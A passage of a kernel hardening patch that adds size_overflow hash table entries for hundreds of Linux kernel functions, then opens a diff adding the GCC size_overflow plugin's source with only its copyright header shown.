++_003436_hash dispatch_ioctl 2 32357 _003436_hash &_003179_hash
++_003437_hash dn_setsockopt 5 314 _003437_hash &_001817_hash
++_003438_hash dt3155_alloc_coherent 2 58073 _003438_hash NULL
++_003439_hash dvb_ca_write 3 41171 _003439_hash NULL
++_003440_hash dvb_demux_read 3 13981 _003440_hash NULL
++_003441_hash dvb_dmxdev_read_sec 4 7892 _003441_hash NULL
++_003442_hash dvb_dvr_read 3 17073 _003442_hash NULL
++_003443_hash dvb_usercopy 2 14036 _003443_hash NULL
++_003445_hash evdev_do_ioctl 2 24459 _003445_hash NULL
++_003446_hash fc_host_post_vendor_event 3 30903 _003446_hash NULL
++_003447_hash fix_unclean_leb 3 23188 _003447_hash NULL
++_003448_hash fs_devrw_entry 3 11924 _003448_hash NULL
++_003449_hash fuse_conn_congestion_threshold_read 3 51028 _003449_hash NULL
++_003450_hash fuse_conn_congestion_threshold_write 3 43736 _003450_hash NULL
++_003451_hash fuse_conn_max_background_read 3 10855 _003451_hash NULL
++_003452_hash fuse_conn_max_background_write 3 50061 _003452_hash NULL
++_003453_hash fuse_fill_write_pages 4 53682 _003453_hash NULL
++_003454_hash generic_perform_write 3 54832 _003454_hash NULL
++_003455_hash gen_pool_add_virt 4 39913 _003455_hash NULL
++_003456_hash get_info 3 55681 _003456_hash NULL
++_003457_hash get_nodes 3 39012 _003457_hash NULL
++_003458_hash groups_alloc 1 7614 _003458_hash NULL
++_003459_hash hiddev_ioctl 2 36816 _003459_hash NULL
++_003460_hash hidraw_ioctl 2 63658 _003460_hash NULL
++_003461_hash hidraw_write 3 31536 _003461_hash NULL
++_003462_hash ide_core_cp_entry 3 22636 _003462_hash NULL
++_003463_hash ieee80211_amsdu_to_8023s 5 15561 _003463_hash NULL
++_003464_hash ieee80211_if_write_smps 3 35550 _003464_hash NULL
++_003465_hash ieee80211_if_write_tkip_mic_test 3 58748 _003465_hash NULL
++_003466_hash ieee80211_if_write_tsf 3 36077 _003466_hash NULL
++_003467_hash ieee80211_if_write_uapsd_max_sp_len 3 14233 _003467_hash NULL
++_003468_hash ieee80211_if_write_uapsd_queues 3 51526 _003468_hash NULL
++_003469_hash if_spi_host_to_card 4 62890 _003469_hash NULL
++_003470_hash intel_fake_agp_alloc_by_type 1 1 _003470_hash NULL
++_003471_hash int_hardware_entry 3 36833 _003471_hash NULL
++_003472_hash int_hw_irq_en 3 46776 _003472_hash NULL
++_003473_hash int_tasklet_entry 3 52500 _003473_hash NULL
++_003474_hash ip_append_data 5-6 16942 _003474_hash NULL
++_003476_hash ip_make_skb 5-6 13129 _003476_hash NULL
++_003478_hash ip_options_get_alloc 1 7448 _003478_hash NULL
++_003479_hash ip_setsockopt 5 33487 _003479_hash NULL
++_003480_hash ipv6_setsockopt 5 29871 _003480_hash NULL
++_003481_hash iscsi_if_send_reply 7 52219 _003481_hash NULL
++_003482_hash iscsi_offload_mesg 5 58425 _003482_hash NULL
++_003483_hash iscsi_ping_comp_event 5 38263 _003483_hash NULL
++_003484_hash iscsi_post_host_event 4 13473 _003484_hash NULL
++_003485_hash iscsi_recv_pdu 4 16755 _003485_hash NULL
++_003487_hash ivtv_v4l2_read 3 1964 _003487_hash NULL
++_003488_hash joydev_ioctl_common 2 49359 _003488_hash NULL
++_003489_hash lbs_bcnmiss_read 3 8678 _003489_hash NULL
++_003490_hash lbs_failcount_read 3 31063 _003490_hash NULL
++_003491_hash lbs_highrssi_read 3 64089 _003491_hash NULL
++_003492_hash lbs_highsnr_read 3 5931 _003492_hash NULL
++_003493_hash lbs_lowrssi_read 3 32242 _003493_hash NULL
++_003494_hash lbs_lowsnr_read 3 29571 _003494_hash NULL
++_003495_hash load_module 2 60056 _003495_hash &_002482_hash
++_003496_hash logger_read 3 59607 _003496_hash NULL
++_003497_hash mem_swapout_entry 3 32586 _003497_hash NULL
++_003498_hash mlx4_init_icm_table 4-5 2151 _003498_hash NULL
++_003501_hash mon_bin_ioctl 3 2771 _003501_hash NULL
++_003502_hash mpi_set_buffer 3 65294 _003502_hash NULL
++_003503_hash __mptctl_ioctl 2 15875 _003503_hash NULL
++_003504_hash mthca_alloc_icm_table 3-4 38268 _003504_hash &_002129_hash
++_003506_hash mthca_alloc_init 2 21754 _003506_hash NULL
++_003507_hash mthca_array_init 2 39987 _003507_hash NULL
++_003508_hash mthca_buf_alloc 2 35861 _003508_hash NULL
++_003509_hash mthca_setup_cmd_doorbells 2 53954 _003509_hash NULL
++_003510_hash __netlink_change_ngroups 2 46156 _003510_hash NULL
++_003511_hash netlink_kernel_create 3 18110 _003511_hash NULL
++_003512_hash netpoll_send_udp 3 58955 _003512_hash NULL
++_003513_hash netxen_nic_map_indirect_address_128M 2 42257 _003513_hash NULL
++_003514_hash nfs4_alloc_pages 1 48426 _003514_hash NULL
++_003515_hash nfsd_read 5 19568 _003515_hash NULL
++_003516_hash nfsd_read_file 6 62241 _003516_hash NULL
++_003517_hash nfsd_write 6 54809 _003517_hash NULL
++_003519_hash nvme_map_user_pages 3-4 41093 _003519_hash &_001486_hash
++_003523_hash osd_req_read_sg_kern 5 6378 _003523_hash NULL
++_003524_hash osd_req_write_sg_kern 5 10514 _003524_hash NULL
++_003525_hash osst_read 3 40237 _003525_hash NULL
++_003526_hash p54_parse_rssical 3 64493 _003526_hash NULL
++_003527_hash p9_client_zc_rpc 7 14345 _003527_hash NULL
++_003528_hash pcpu_alloc_alloc_info 1-2 45813 _003528_hash NULL
++_003530_hash prism2_info_hostscanresults 3 39657 _003530_hash NULL
++_003531_hash prism2_info_scanresults 3 59729 _003531_hash NULL
++_003532_hash proc_file_read 3 53905 _003532_hash NULL
++_003533_hash pskb_expand_head 2-3 42881 _003533_hash NULL
++_003535_hash qla4xxx_post_aen_work 3 46953 _003535_hash NULL
++_003536_hash qla4xxx_post_ping_evt_work 4 8074 _003536_hash &_001627_hash
++_003537_hash rawv6_setsockopt 5 56165 _003537_hash NULL
++_003538_hash rds_message_map_pages 2 31487 _003538_hash NULL
++_003539_hash read_flush_pipefs 3 20171 _003539_hash NULL
++_003540_hash read_flush_procfs 3 27642 _003540_hash NULL
++_003541_hash receive_packet 2 12367 _003541_hash NULL
++_003542_hash reiserfs_add_entry 4 23062 _003542_hash &_002307_hash
++_003543_hash rsc_mgr_init 3 16299 _003543_hash NULL
++_003544_hash rtsx_read_cfg_seq 3-5 48139 _003544_hash NULL
++_003546_hash rtsx_write_cfg_seq 3-5 27485 _003546_hash NULL
++_003548_hash rxrpc_client_sendmsg 5 23236 _003548_hash NULL
++_003549_hash rxrpc_kernel_send_data 3 60083 _003549_hash NULL
++_003550_hash rxrpc_server_sendmsg 4 37331 _003550_hash NULL
++_003551_hash scsi_dispatch_cmd_entry 3 49848 _003551_hash NULL
++_003552_hash scsi_nl_send_vendor_msg 5 16394 _003552_hash NULL
++_003553_hash sctp_datamsg_from_user 4 55342 _003553_hash NULL
++_003554_hash sctp_make_chunk 4 12986 _003554_hash NULL
++_003555_hash sctp_tsnmap_grow 2 32784 _003555_hash NULL
++_003556_hash sep_prepare_input_dma_table 2-3 2009 _003556_hash NULL
++_003558_hash sep_prepare_input_output_dma_table 4-3-2 63429 _003558_hash NULL
++_003559_hash set_fd_set 1 35249 _003559_hash NULL
++_003563_hash sisusbcon_do_font_op 9 52271 _003563_hash NULL
++_003564_hash sisusb_write_mem_bulk 4 29678 _003564_hash NULL
++_003565_hash smk_write_access2 3 19170 _003565_hash NULL
++_003566_hash smk_write_cipso2 3 1021 _003566_hash NULL
++_003567_hash smk_write_load2 3 52155 _003567_hash NULL
++_003568_hash smk_write_load 3 26829 _003568_hash NULL
++_003569_hash smk_write_load_self2 3 591 _003569_hash NULL
++_003570_hash smk_write_load_self 3 7958 _003570_hash NULL
++_003571_hash snd_pcm_plugin_alloc 2 12580 _003571_hash NULL
++_003572_hash snd_rawmidi_kernel_read 3 4328 _003572_hash NULL
++_003573_hash snd_rawmidi_read 3 56337 _003573_hash NULL
++_003576_hash spidev_ioctl 2 12846 _003576_hash NULL
++_003577_hash squashfs_read_fragment_index_table 4 2506 _003577_hash NULL
++_003578_hash squashfs_read_id_index_table 4 61961 _003578_hash NULL
++_003579_hash squashfs_read_inode_lookup_table 4 64739 _003579_hash NULL
++_003582_hash swap_cgroup_swapon 2 13614 _003582_hash NULL
++_003583_hash timeradd_entry 3 49850 _003583_hash NULL
++_003584_hash tipc_buf_acquire 1 60437 _003584_hash NULL
++_003585_hash tty_buffer_find 2 2443 _003585_hash NULL
++_003586_hash ubifs_wbuf_write_nolock 3 64946 _003586_hash NULL
++_003588_hash usblp_ioctl 2 30203 _003588_hash NULL
++_003589_hash vgacon_adjust_height 2 28124 _003589_hash NULL
++_003590_hash vhci_read 3 47878 _003590_hash NULL
++_003591_hash vhci_write 3 2224 _003591_hash NULL
++_003592_hash __videobuf_copy_stream 4 44769 _003592_hash NULL
++_003593_hash videobuf_read_one 3 31637 _003593_hash NULL
++_003594_hash video_usercopy 2 62151 _003594_hash NULL
++_003595_hash vme_user_read 3 55338 _003595_hash NULL
++_003596_hash __vxge_hw_blockpool_malloc 2 5786 _003596_hash NULL
++_003597_hash write_adapter_mem 3 3234 _003597_hash NULL
++_003598_hash write_flush_pipefs 3 2021 _003598_hash NULL
++_003599_hash write_flush_procfs 3 44011 _003599_hash NULL
++_003600_hash xfs_buf_associate_memory 3 17915 _003600_hash NULL
++_003601_hash xfs_dir2_leaf_getdents 3 23841 _003601_hash NULL
++_003602_hash xfs_idata_realloc 2 26199 _003602_hash NULL
++_003603_hash xfs_iformat_local 4 49472 _003603_hash NULL
++_003604_hash xip_file_read 3 58592 _003604_hash NULL
++_003605_hash afs_send_simple_reply 3 63940 _003605_hash NULL
++_003606_hash audit_expand 2 2098 _003606_hash NULL
++_003607_hash bnx2i_send_nl_mesg 4 53353 _003607_hash NULL
++_003608_hash __btrfs_buffered_write 3 35311 _003608_hash NULL
++_003609_hash bttv_read 3 11432 _003609_hash NULL
++_003610_hash ceph_parse_server_name 2 60318 _003610_hash NULL
++_003611_hash ddp_clear_map 4 46152 _003611_hash NULL
++_003612_hash ddp_set_map 4 751 _003612_hash NULL
++_003613_hash do_arpt_get_ctl 4 49526 _003613_hash NULL
++_003614_hash do_ip6t_get_ctl 4 47808 _003614_hash NULL
++_003615_hash do_ipt_get_ctl 4 33897 _003615_hash NULL
++_003616_hash do_trimming 3 26952 _003616_hash &_002655_hash
++_003617_hash dvb_ca_en50221_io_ioctl 2 26490 _003617_hash NULL
++_003618_hash dvb_demux_ioctl 2 42733 _003618_hash NULL
++_003619_hash dvb_dvr_ioctl 2 49182 _003619_hash NULL
++_003620_hash dvb_generic_ioctl 2 21810 _003620_hash NULL
++_003621_hash dvb_net_ioctl 2 61559 _003621_hash NULL
++_003622_hash enlarge_skb 2 44248 _003622_hash NULL
++_003623_hash evdev_ioctl_handler 2 21705 _003623_hash NULL
++_003624_hash fuse_perform_write 4 18457 _003624_hash NULL
++_003625_hash fw_device_op_ioctl 2 11595 _003625_hash NULL
++_003626_hash generic_file_buffered_write 4 25464 _003626_hash NULL
++_003627_hash gen_pool_add 3 21776 _003627_hash NULL
++_003628_hash ieee80211_skb_resize 3 50211 _003628_hash NULL
++_003629_hash ip_options_get 4 56538 _003629_hash NULL
++_003630_hash ip_send_reply 5 19987 _003630_hash NULL
++_003631_hash __iscsi_complete_pdu 4 10726 _003631_hash NULL
++_003632_hash iscsi_nop_out_rsp 4 51117 _003632_hash NULL
++_003633_hash joydev_ioctl 2 33343 _003633_hash NULL
++_003634_hash mlx4_init_cmpt_table 3 11569 _003634_hash NULL
++_003635_hash mptctl_ioctl 2 12355 _003635_hash NULL
++_003636_hash mthca_alloc_cq_buf 3 46512 _003636_hash NULL
++_003637_hash named_prepare_buf 2 24532 _003637_hash NULL
++_003638_hash netlink_change_ngroups 2 16457 _003638_hash NULL
++_003639_hash netxen_nic_hw_read_wx_128M 2 26858 _003639_hash NULL
++_003640_hash netxen_nic_hw_write_wx_128M 2 33488 _003640_hash NULL
++_003642_hash osd_req_add_get_attr_list 3 49278 _003642_hash NULL
++_003643_hash pcpu_build_alloc_info 1-3-2 41443 _003643_hash NULL
++_003646_hash ping_sendmsg 4 3782 _003646_hash NULL
++_003647_hash __pskb_pull_tail 2 60287 _003647_hash NULL
++_003648_hash raid5_resize 2 63306 _003648_hash NULL
++_003649_hash rxrpc_sendmsg 4 29049 _003649_hash NULL
++_003650_hash sctp_make_abort 3 34459 _003650_hash NULL
++_003651_hash sctp_make_asconf 3 4078 _003651_hash NULL
++_003652_hash sctp_make_asconf_ack 3 31726 _003652_hash NULL
++_003653_hash sctp_make_datafrag_empty 3 34737 _003653_hash NULL
++_003654_hash sctp_make_fwdtsn 3 53265 _003654_hash NULL
++_003655_hash sctp_make_heartbeat_ack 4 34411 _003655_hash NULL
++_003656_hash sctp_make_init 4 58401 _003656_hash NULL
++_003657_hash sctp_make_init_ack 4 3335 _003657_hash NULL
++_003658_hash sctp_make_op_error_space 3 5528 _003658_hash NULL
++_003659_hash sctp_tsnmap_mark 2 35929 _003659_hash NULL
++_003663_hash sisusb_clear_vram 2-3 57466 _003663_hash NULL
++_003665_hash sisusb_copy_memory 4 35016 _003665_hash NULL
++_003666_hash sisusb_write 3 44834 _003666_hash NULL
++_003667_hash __skb_cow 2 39254 _003667_hash NULL
++_003668_hash skb_pad 2 17302 _003668_hash NULL
++_003669_hash skb_realloc_headroom 2 19516 _003669_hash NULL
++_003670_hash snd_pcm_plug_alloc 2 42339 _003670_hash NULL
++_003673_hash subdev_ioctl 2 28417 _003673_hash NULL
++_003674_hash sys_get_mempolicy 3 30379 _003674_hash NULL
++_003675_hash sys_init_module 2 36047 _003675_hash NULL
++_003676_hash sys_mbind 5 7990 _003676_hash NULL
++_003677_hash sys_migrate_pages 2 39825 _003677_hash NULL
++_003678_hash sys_setgroups 1 48668 _003678_hash &_001127_hash
++_003679_hash sys_setgroups16 1 48882 _003679_hash NULL
++_003680_hash sys_set_mempolicy 3 32608 _003680_hash NULL
++_003681_hash tipc_msg_build 4 12326 _003681_hash NULL
++_003682_hash __tty_buffer_request_room 2 27700 _003682_hash NULL
++_003683_hash ubifs_recover_leb 3 60639 _003683_hash NULL
++_003684_hash udp_sendmsg 4 4492 _003684_hash NULL
++_003685_hash udp_setsockopt 5 25985 _003685_hash NULL
++_003686_hash udpv6_setsockopt 5 18487 _003686_hash NULL
++_003687_hash uvc_v4l2_ioctl 2 8411 _003687_hash NULL
++_003688_hash videobuf_read_stream 3 14956 _003688_hash NULL
++_003689_hash video_ioctl2 2 21380 _003689_hash NULL
++_003690_hash video_read 3 28148 _003690_hash NULL
++_003691_hash write_head 4 30481 _003691_hash NULL
++_003692_hash write_node 4 33121 _003692_hash NULL
++_003693_hash write_pbl 4 59583 _003693_hash NULL
++_003694_hash xfs_dir2_block_to_sf 3 37868 _003694_hash NULL
++_003695_hash xfs_dir2_sf_addname_hard 3 54254 _003695_hash NULL
++_003696_hash xfs_readdir 3 41200 _003696_hash NULL
++_003697_hash xlog_bread_offset 3 60030 _003697_hash NULL
++_003698_hash zr364xx_read 3 2354 _003698_hash NULL
++_003699_hash au0828_v4l2_read 3 40220 _003699_hash NULL
++_003700_hash audit_log_n_hex 3 45617 _003700_hash NULL
++_003701_hash audit_log_n_string 3 31705 _003701_hash NULL
++_003702_hash beiscsi_process_async_pdu 7 39834 _003702_hash NULL
++_003703_hash __btrfs_direct_write 4 22273 _003703_hash NULL
++_003704_hash btrfs_file_aio_write 4 21520 _003704_hash NULL
++_003705_hash cx231xx_v4l2_read 3 55014 _003705_hash NULL
++_003706_hash cx25821_video_ioctl 2 30188 _003706_hash NULL
++_003707_hash em28xx_v4l2_read 3 16701 _003707_hash NULL
++_003708_hash evdev_ioctl 2 22371 _003708_hash NULL
++_003709_hash fuse_file_aio_write 4 46399 _003709_hash NULL
++_003710_hash iscsi_complete_pdu 4 48372 _003710_hash NULL
++_003711_hash isdn_ppp_skb_push 2 5236 _003711_hash NULL
++_003712_hash ivtv_v4l2_ioctl 2 16915 _003712_hash NULL
++_003713_hash mpeg_read 3 6708 _003713_hash NULL
++_003714_hash mthca_alloc_resize_buf 3 60394 _003714_hash NULL
++_003715_hash mthca_init_cq 2 60011 _003715_hash NULL
++_003716_hash named_distribute 4 48544 _003716_hash NULL
++_003717_hash __nf_nat_mangle_tcp_packet 5-7 8190 _003717_hash NULL
++_003719_hash nf_nat_mangle_udp_packet 5-7 13321 _003719_hash NULL
++_003722_hash pcpu_embed_first_chunk 1-3-2 24224 _003722_hash NULL
++_003724_hash pcpu_page_first_chunk 1 20712 _003724_hash NULL
++_003725_hash pd_video_read 3 24510 _003725_hash NULL
++_003726_hash pskb_may_pull 2 22546 _003726_hash NULL
++_003727_hash __pskb_pull 2 42602 _003727_hash NULL
++_003728_hash pvr2_v4l2_ioctl 2 24398 _003728_hash &_000854_hash
++_003729_hash sctp_abort_pkt_new 5 55218 _003729_hash NULL
++_003730_hash sctp_make_abort_violation 4 27959 _003730_hash NULL
++_003731_hash sctp_make_op_error 5-6 7057 _003731_hash NULL
++_003734_hash sisusbcon_bmove 5-7-6 21873 _003734_hash NULL
++_003737_hash sisusbcon_clear 3-5-4 64329 _003737_hash NULL
++_003740_hash sisusbcon_putcs 3 57630 _003740_hash &_001003_hash
++_003741_hash sisusbcon_scroll 5-3-2 31315 _003741_hash NULL
++_003742_hash sisusbcon_scroll_area 3-4 25899 _003742_hash NULL
++_003744_hash skb_cow 2 26138 _003744_hash NULL
++_003745_hash skb_cow_head 2 52495 _003745_hash NULL
++_003746_hash skb_make_writable 2 24783 _003746_hash NULL
++_003747_hash skb_padto 2 50759 _003747_hash NULL
++_003748_hash solo_enc_read 3 33553 _003748_hash NULL
++_003749_hash solo_v4l2_read 3 59247 _003749_hash NULL
++_003750_hash timblogiw_read 3 48305 _003750_hash NULL
++_003751_hash tipc_multicast 5 49144 _003751_hash NULL
++_003752_hash tipc_port_recv_sections 4 42890 _003752_hash NULL
++_003753_hash tipc_port_reject_sections 5 55229 _003753_hash NULL
++_003754_hash tm6000_read 3 4151 _003754_hash NULL
++_003755_hash trim_bitmaps 3 24158 _003755_hash NULL
++_003756_hash trim_no_bitmap 3 22524 _003756_hash NULL
++_003757_hash tty_buffer_request_room 2 23228 _003757_hash NULL
++_003758_hash tty_insert_flip_string_fixed_flag 4 37428 _003758_hash NULL
++_003759_hash tty_insert_flip_string_flags 4 30969 _003759_hash NULL
++_003760_hash tty_prepare_flip_string 3 39955 _003760_hash NULL
++_003761_hash tty_prepare_flip_string_flags 4 59240 _003761_hash NULL
++_003762_hash ubifs_recover_log_leb 3 12079 _003762_hash NULL
++_003763_hash vbi_read 3 63673 _003763_hash NULL
++_003764_hash xfs_file_buffered_aio_write 4 11492 _003764_hash NULL
++_003765_hash xlog_do_recovery_pass 3 21618 _003765_hash NULL
++_003766_hash zoran_ioctl 2 30465 _003766_hash NULL
++_003767_hash audit_log_n_untrustedstring 3 9548 _003767_hash NULL
++_003768_hash bla_is_backbone_gw 3 53001 _003768_hash NULL
++_003769_hash btrfs_trim_block_group 3 28963 _003769_hash NULL
++_003770_hash check_header 2 56930 _003770_hash NULL
++_003771_hash check_management_packet 3 976 _003771_hash NULL
++_003772_hash check_unicast_packet 2 62217 _003772_hash NULL
++_003773_hash cx18_v4l2_ioctl 2 46647 _003773_hash NULL
++_003774_hash dccp_manip_pkt 2 30229 _003774_hash NULL
++_003775_hash dma_push_rx 2 39973 _003775_hash NULL
++_003776_hash ftdi_process_packet 5 45005 _003776_hash NULL
++_003777_hash gre_manip_pkt 2 38785 _003777_hash NULL
++_003778_hash handle_response 5 55951 _003778_hash NULL
++_003779_hash handle_response_icmp 7 39574 _003779_hash NULL
++_003780_hash help 4 14971 _003780_hash NULL
++_003781_hash icmp_manip_pkt 2 48801 _003781_hash NULL
++_003782_hash interface_rx 4 20404 _003782_hash NULL
++_003783_hash ip4ip6_err 5 36772 _003783_hash NULL
++_003784_hash ip6ip6_err 5 18308 _003784_hash NULL
++_003785_hash ip_vs_icmp_xmit 4 59624 _003785_hash NULL
++_003786_hash ip_vs_icmp_xmit_v6 4 20464 _003786_hash NULL
++_003787_hash iscsi_iser_recv 4 41948 _003787_hash NULL
++_003788_hash l2tp_xmit_skb 3 42672 _003788_hash NULL
++_003789_hash mangle_packet 6-8 27864 _003789_hash NULL
++_003791_hash manip_pkt 3 7741 _003791_hash NULL
++_003792_hash mthca_resize_cq 2 19333 _003792_hash NULL
++_003793_hash my_skb_head_push 2 58297 _003793_hash NULL
++_003794_hash nf_nat_mangle_tcp_packet 5-7 8643 _003794_hash NULL
++_003797_hash pskb_network_may_pull 2 35336 _003797_hash NULL
++_003798_hash pskb_pull 2 65005 _003798_hash NULL
++_003799_hash replay_log_leb 3 18704 _003799_hash NULL
++_003800_hash sctp_manip_pkt 2 40620 _003800_hash NULL
++_003801_hash sctp_sf_abort_violation 6 38380 _003801_hash NULL
++_003806_hash skb_gro_header_slow 2 34958 _003806_hash NULL
++_003807_hash tcf_csum_skb_nextlayer 3 64025 _003807_hash NULL
++_003808_hash tcp_manip_pkt 2 14202 _003808_hash NULL
++_003809_hash tty_audit_log 8 47280 _003809_hash NULL
++_003810_hash tty_insert_flip_string 3 34042 _003810_hash NULL
++_003811_hash udplite_manip_pkt 2 62433 _003811_hash NULL
++_003812_hash udp_manip_pkt 2 50770 _003812_hash NULL
++_003813_hash xfs_file_aio_write 4 33234 _003813_hash NULL
++_003814_hash xlog_do_log_recovery 3 17550 _003814_hash NULL
++_003815_hash afs_extract_data 5 50261 _003815_hash NULL
++_003816_hash aircable_process_packet 5 46639 _003816_hash NULL
++_003817_hash edge_tty_recv 4 18667 _003817_hash &_002287_hash
++_003818_hash gigaset_if_receive 3 4861 _003818_hash NULL
++_003819_hash gsm_dlci_data 3 14155 _003819_hash NULL
++_003820_hash ifx_spi_insert_flip_string 3 51752 _003820_hash NULL
++_003821_hash ip_nat_sdp_port 6 52938 _003821_hash NULL
++_003822_hash ip_nat_sip_expect 7 45693 _003822_hash NULL
++_003823_hash ipwireless_tty_received 3 49154 _003823_hash NULL
++_003824_hash iser_rcv_completion 2 8048 _003824_hash NULL
++_003825_hash mangle_sdp_packet 9 36279 _003825_hash NULL
++_003826_hash map_addr 6 4666 _003826_hash NULL
++_003827_hash nf_nat_ftp 5 47948 _003827_hash NULL
++_003828_hash pty_write 3 44757 _003828_hash &_001547_hash
++_003829_hash push_rx 3 28939 _003829_hash NULL
++_003830_hash put_data_to_circ_buf 3 24869 _003830_hash &_001419_hash
++_003831_hash rds_tcp_data_recv 3 53476 _003831_hash NULL
++_003832_hash send_to_tty 3 45141 _003832_hash NULL
++_003834_hash tcf_csum_ipv4_icmp 3 9258 _003834_hash NULL
++_003835_hash tcf_csum_ipv4_igmp 3 60446 _003835_hash NULL
++_003836_hash tcf_csum_ipv4_tcp 4 39713 _003836_hash NULL
++_003837_hash tcf_csum_ipv4_udp 4 30777 _003837_hash &_000218_hash
++_003838_hash tcf_csum_ipv6_icmp 4 11738 _003838_hash NULL
++_003839_hash tcf_csum_ipv6_tcp 4 54877 _003839_hash NULL
++_003840_hash tcf_csum_ipv6_udp 4 25241 _003840_hash NULL
++_003841_hash ti_recv 4 22027 _003841_hash NULL
++_003842_hash xlog_do_recover 3 59789 _003842_hash NULL
++_003843_hash ip_nat_sdp_media 8 23386 _003843_hash NULL
++_003844_hash lock_loop 1 61681 _003844_hash NULL
++_003845_hash max3107_handlerx 2 58978 _003845_hash NULL
++_003846_hash process_rcvd_data 3 6679 _003846_hash NULL
++_003847_hash alloc_mr 1 45935 _003847_hash NULL
++_003848_hash compat_core_sys_select 1 65285 _003848_hash NULL
++_003849_hash compat_dccp_setsockopt 5 51263 _003849_hash NULL
++_003850_hash compat_ip_setsockopt 5 13870 _003850_hash &_003115_hash
++_003851_hash compat_ipv6_setsockopt 5 20468 _003851_hash NULL
++_003852_hash compat_mpctl_ioctl 2 45671 _003852_hash NULL
++_003853_hash compat_raw_setsockopt 5 30634 _003853_hash NULL
++_003854_hash compat_rawv6_setsockopt 5 4967 _003854_hash NULL
++_003855_hash compat_sys_get_mempolicy 3 31109 _003855_hash NULL
++_003856_hash compat_sys_mbind 5 36256 _003856_hash NULL
++_003857_hash compat_sys_migrate_pages 2 3157 _003857_hash NULL
++_003858_hash compat_sys_set_mempolicy 3 57742 _003858_hash &_002222_hash
++_003859_hash evdev_ioctl_compat 2 13851 _003859_hash NULL
++_003860_hash fw_device_op_compat_ioctl 2 42804 _003860_hash NULL
++_003861_hash gnttab_expand 1 15817 _003861_hash NULL
++_003862_hash hiddev_compat_ioctl 2 41255 _003862_hash NULL
++_003863_hash joydev_compat_ioctl 2 8765 _003863_hash NULL
++_003864_hash mon_bin_compat_ioctl 3 50234 _003864_hash NULL
++_003865_hash spidev_compat_ioctl 2 63778 _003865_hash NULL
++_003866_hash uvc_v4l2_compat_ioctl32 2 8375 _003866_hash NULL
++_003867_hash xlbd_reserve_minors 1-2 18365 _003867_hash NULL
++_003868_hash compat_sys_select 1 16131 _003868_hash NULL
++_003869_hash compat_udp_setsockopt 5 38840 _003869_hash NULL
++_003870_hash compat_udpv6_setsockopt 5 42981 _003870_hash NULL
++_003871_hash do_compat_pselect 1 10398 _003871_hash NULL
++_003872_hash get_free_entries 1 46030 _003872_hash NULL
++_003873_hash ipath_reg_phys_mr 3 23918 _003873_hash &_000963_hash
++_003874_hash qib_alloc_fast_reg_mr 2 12526 _003874_hash NULL
++_003875_hash qib_reg_phys_mr 3 60202 _003875_hash &_000872_hash
++_003876_hash compat_sys_pselect6 1 14105 _003876_hash NULL
++_003877_hash gnttab_alloc_grant_references 1 18240 _003877_hash NULL
++_003878_hash alc_auto_create_extra_outs 2 18975 _003878_hash NULL
++_003879_hash _alloc_cdb_cont 2 23609 _003879_hash NULL
++_003880_hash _alloc_set_attr_list 4 48991 _003880_hash NULL
++_003881_hash __btrfs_free_reserved_extent 2 31207 _003881_hash NULL
++_003882_hash btrfsic_create_link_to_next_block 4 58246 _003882_hash NULL
++_003883_hash diva_alloc_dma_map 2 23798 _003883_hash NULL
++_003884_hash diva_xdi_write 4 63975 _003884_hash NULL
++_003885_hash gsm_control_reply 4 53333 _003885_hash NULL
++_003886_hash iwm_ntf_rx_packet 3 60452 _003886_hash NULL
++_003887_hash macvtap_recvmsg 4 63949 _003887_hash NULL
++_003890_hash smp_send_cmd 3 512 _003890_hash NULL
++_003891_hash tun_recvmsg 4 48463 _003891_hash NULL
++_003892_hash um_idi_read 3 850 _003892_hash NULL
++_003893_hash _add_sg_continuation_descriptor 3 54721 _003893_hash NULL
++_003894_hash btrfs_free_and_pin_reserved_extent 2 53016 _003894_hash NULL
++_003895_hash btrfs_free_reserved_extent 2 9867 _003895_hash NULL
++_003896_hash diva_init_dma_map 3 58336 _003896_hash NULL
++_003897_hash divas_write 3 63901 _003897_hash NULL
++_003898_hash gsm_control_message 4 18209 _003898_hash NULL
++_003899_hash gsm_control_modem 3 55303 _003899_hash NULL
++_003900_hash gsm_control_rls 3 3353 _003900_hash NULL
++_003901_hash osd_req_read_sg 5 47905 _003901_hash NULL
++_003902_hash osd_req_write_sg 5 50908 _003902_hash NULL
++_003903_hash agp_remap 2 30665 _003903_hash NULL
++_003904_hash alloc_arraycache 2 47505 _003904_hash NULL
++_003905_hash drm_buffer_alloc 2 44405 _003905_hash NULL
++_003906_hash drm_ioctl 2 42813 _003906_hash NULL
++_003907_hash fbcon_do_set_font 2-3 4079 _003907_hash NULL
++_003909_hash slabinfo_write 3 18600 _003909_hash NULL
++_003910_hash do_tune_cpucache 2 14828 _003910_hash NULL
++_003911_hash drm_compat_ioctl 2 51717 _003911_hash NULL
++_003912_hash i915_compat_ioctl 2 3656 _003912_hash NULL
++_003913_hash ath6kl_usb_bmi_read 3 48745 _003913_hash NULL
++_003914_hash ath6kl_usb_bmi_write 3 2454 _003914_hash &_000981_hash
++_003915_hash ath6kl_usb_ctrl_msg_exchange 4 33327 _003915_hash NULL
++_003916_hash mga_compat_ioctl 2 52170 _003916_hash NULL
++_003918_hash netlink_send 5 38434 _003918_hash NULL
++_003919_hash nouveau_compat_ioctl 2 28305 _003919_hash NULL
++_003920_hash persistent_ram_vmap 1-2 709 _003920_hash NULL
++_003922_hash psb_unlocked_ioctl 2 16926 _003922_hash &_002255_hash
++_003923_hash r128_compat_ioctl 2 39250 _003923_hash NULL
++_003924_hash radeon_compat_ioctl 2 59150 _003924_hash NULL
++_003925_hash radeon_kms_compat_ioctl 2 51371 _003925_hash NULL
++_003926_hash viacam_read 3 54526 _003926_hash NULL
++_003927_hash vmw_framebuffer_dmabuf_dirty 6 37661 _003927_hash &_001074_hash
++_003928_hash vmw_framebuffer_surface_dirty 6 48132 _003928_hash NULL
++_003929_hash vmw_unlocked_ioctl 2 19212 _003929_hash NULL
++_003930_hash wl1251_cmd_template_set 4 6172 _003930_hash NULL
++_003931_hash cma_create_area 2 38642 _003931_hash NULL
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_plugin.c
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_plugin.c	2012-10-15 19:11:12.874824568 +0000
+@@ -0,0 +1,1879 @@
++/*
++ * Copyright 2011, 2012 by Emese Revfy <re.emese@gmail.com>
++ * Licensed under the GPL v2, or (at your option) v3
++ *
++ * Homepage:
++ * http://www.grsecurity.net/~ephox/overflow_plugin/
++ *
